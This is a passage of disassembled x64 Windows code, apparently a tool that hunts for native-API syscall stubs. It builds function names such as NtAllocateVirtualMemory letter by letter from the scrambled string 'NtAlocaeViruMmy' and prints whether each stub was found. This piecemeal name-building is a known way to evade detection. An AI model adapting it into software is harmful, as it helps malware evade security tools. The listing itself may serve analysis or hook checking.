mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x189f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x18a0]
mov rcx, qword [rbp + 0x2f10]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x18a0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000620e
lea rsi, [0x1401893b4]
jmp 0x140006215
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1acf]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x1acf]
lea rax, [rbp + 0x1aa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1a80]
lea rdx, [rbp + 0x1aa0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1a60]
lea rdx, [rbp + 0x1a80]
lea r8, [0x1401893f4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1a40]
lea rdx, [rbp + 0x1a60]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1a20]
lea rdx, [rbp + 0x1a40]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1a00]
lea rdx, [rbp + 0x1a20]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x19e0]
lea rdx, [rbp + 0x1a00]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x19c0]
lea rdx, [rbp + 0x19e0]
lea r8, [0x14018939a]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x19a0]
lea rdx, [rbp + 0x19c0]
lea r8, [0x1401893fa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1980]
lea rdx, [rbp + 0x19a0]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1960]
lea rdx, [rbp + 0x1980]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1940]
lea rdx, [rbp + 0x1960]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1920]
lea rdx, [rbp + 0x1940]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1900]
lea rdx, [rbp + 0x1920]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x18e0]
lea rdx, [rbp + 0x1900]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x18c0]
lea rdx, [rbp + 0x18e0]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x18c0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x18c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1900]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1920]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1940]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1960]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1980]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x19a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x19c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x19e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a00]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a20]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a40]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a60]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1a80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1aa0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1acf]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1ad0]
mov rcx, qword [rbp + 0x2f08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1ad0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x1400065a0
lea rsi, [0x1401893b4]
jmp 0x1400065a7
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1d5f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x1d5f]
lea rax, [rbp + 0x1d30]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1cf0]
lea rdx, [rbp + 0x1d10]
lea r8, [0x14018939a]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1cd0]
lea rdx, [rbp + 0x1cf0]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1cb0]
lea rdx, [rbp + 0x1cd0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c90]
lea rdx, [rbp + 0x1cb0]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c70]
lea rdx, [rbp + 0x1c90]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c50]
lea rdx, [rbp + 0x1c70]
lea r8, [0x1401893e2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c30]
lea rdx, [rbp + 0x1c50]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1c10]
lea rdx, [rbp + 0x1c30]
lea r8, [0x1401893e4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1bf0]
lea rdx, [rbp + 0x1c10]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1bd0]
lea rdx, [rbp + 0x1bf0]
lea r8, [0x1401893b0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1bb0]
lea rdx, [rbp + 0x1bd0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1b90]
lea rdx, [rbp + 0x1bb0]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1b70]
lea rdx, [rbp + 0x1b90]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1b50]
lea rdx, [rbp + 0x1b70]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1b30]
lea rdx, [rbp + 0x1b50]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1b10]
lea rdx, [rbp + 0x1b30]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1af0]
lea rdx, [rbp + 0x1b10]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x1af0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x1af0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1b10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1b30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1b50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1b70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1b90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1bb0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1bd0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1bf0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c50]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c70]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1c90]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1cb0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1cd0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1d5f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1d60]
mov rcx, qword [rbp + 0x2f00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1d60]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x1400069b6
lea rsi, [0x1401893b4]
jmp 0x1400069bd
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1fcf]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x1fcf]
lea rax, [rbp + 0x1fa0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x1f80]
lea rdx, [rbp + 0x1fa0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1f60]
lea rdx, [rbp + 0x1f80]
lea r8, [0x1401893fc]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1f40]
lea rdx, [rbp + 0x1f60]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1f20]
lea rdx, [rbp + 0x1f40]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1f00]
lea rdx, [rbp + 0x1f20]
lea r8, [0x1401893d6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1ee0]
lea rdx, [rbp + 0x1f00]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1ec0]
lea rdx, [rbp + 0x1ee0]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1ea0]
lea rdx, [rbp + 0x1ec0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e80]
lea rdx, [rbp + 0x1ea0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e60]
lea rdx, [rbp + 0x1e80]
lea r8, [0x1401893e0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e40]
lea rdx, [rbp + 0x1e60]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e20]
lea rdx, [rbp + 0x1e40]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1e00]
lea rdx, [rbp + 0x1e20]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1de0]
lea rdx, [rbp + 0x1e00]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1dc0]
lea rdx, [rbp + 0x1de0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1da0]
lea rdx, [rbp + 0x1dc0]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1d80]
lea rdx, [rbp + 0x1da0]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x1d80]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x1d80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1da0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1dc0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1de0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e00]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e20]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e40]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e60]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1e80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1ea0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1ec0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1ee0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1f00]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1f20]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1f40]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1f60]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x1fcf]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x1fd0]
mov rcx, qword [rbp + 0x2ef8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x1fd0]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x140006da0
lea rsi, [0x1401893b4]
jmp 0x140006da7
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x223f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x223f]
lea rax, [rbp + 0x2210]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x21f0]
lea rdx, [rbp + 0x2210]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x21d0]
lea rdx, [rbp + 0x21f0]
lea r8, [0x1401893e8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x21b0]
lea rdx, [rbp + 0x21d0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2190]
lea rdx, [rbp + 0x21b0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2170]
lea rdx, [rbp + 0x2190]
lea r8, [0x1401893d6]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2150]
lea rdx, [rbp + 0x2170]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2130]
lea rdx, [rbp + 0x2150]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2110]
lea rdx, [rbp + 0x2130]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x20f0]
lea rdx, [rbp + 0x2110]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x20d0]
lea rdx, [rbp + 0x20f0]
lea r8, [0x1401893e0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x20b0]
lea rdx, [rbp + 0x20d0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2090]
lea rdx, [rbp + 0x20b0]
lea r8, [0x1401893d8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2070]
lea rdx, [rbp + 0x2090]
lea r8, [0x1401893da]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2050]
lea rdx, [rbp + 0x2070]
lea r8, [0x1401893aa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2030]
lea rdx, [rbp + 0x2050]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2010]
lea rdx, [rbp + 0x2030]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x1ff0]
lea rdx, [rbp + 0x2010]
lea r8, [0x1401893dc]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x1ff0]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x1ff0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2010]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2030]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2050]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2070]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2090]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x20b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x20d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x20f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2110]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2130]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2150]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2170]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2190]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x21b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x21d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x223f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2240]
mov rcx, qword [rbp + 0x2ef0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2240]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000718a
lea rsi, [0x1401893b4]
jmp 0x140007191
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x246f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x246f]
lea rax, [rbp + 0x2440]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x2420]
lea rdx, [rbp + 0x2440]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2400]
lea rdx, [rbp + 0x2420]
lea r8, [0x1401893fe]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x23e0]
lea rdx, [rbp + 0x2400]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x23c0]
lea rdx, [rbp + 0x23e0]
lea r8, [0x14018939c]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x23a0]
lea rdx, [rbp + 0x23c0]
lea r8, [0x1401893a2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2380]
lea rdx, [rbp + 0x23a0]
lea r8, [0x1401893b2]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2360]
lea rdx, [rbp + 0x2380]
lea r8, [0x1401893de]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2340]
lea rdx, [rbp + 0x2360]
lea r8, [0x1401893e0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2320]
lea rdx, [rbp + 0x2340]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2300]
lea rdx, [rbp + 0x2320]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x2300]
lea r8, [0x1401893ac]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x22c0]
lea rdx, [rbp + 0x22e0]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22c0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2280]
lea rdx, [rbp + 0x22a0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2280]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x2260]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x2260]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2280]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x22a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x22c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x22e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2300]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2320]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2340]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2360]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2380]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x23a0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x23c0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x23e0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2400]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2420]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2440]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x246f]
mov rcx, rax
call fcn.140071de0
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400a9280
mov r9, qword [rbp + 0x2e98]
mov r8, qword [rbp + 0x2eb8]
mov rdx, qword [rbp + 0x2e90]
lea rax, [rbp + 0x2470]
mov rcx, qword [rbp + 0x2ee8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e8c], eax
lea rax, [rbp + 0x2470]
mov rcx, rax
call fcn.1400a9e30
cmp dword [rbp + 0x2e8c], 0
je 0x14000751c
lea rsi, [0x1401893b4]
jmp 0x140007523
lea rsi, [0x1401893b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002f5b0
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x263f]
mov rcx, rax
call fcn.140071db0
lea rdx, [rbp + 0x263f]
lea rax, [rbp + 0x2610]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9710
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x1401893ee]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x1401893fa]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x1401893e8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x1401893a4]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x1401893a0]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x140189398]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x1401893a8]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x24b0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x14018939e]
mov rcx, rax
call fcn.1400ba290
lea rax, [rbp + 0x2490]
lea rdx, [rbp + 0x24b0]
lea r8, [0x1401893ea]
mov rcx, rax
call fcn.1400ba290
lea rdx, [rbp + 0x2490]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9e70
lea rax, [rbp + 0x2490]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x24b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.1400a9e30
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.1400a9e30
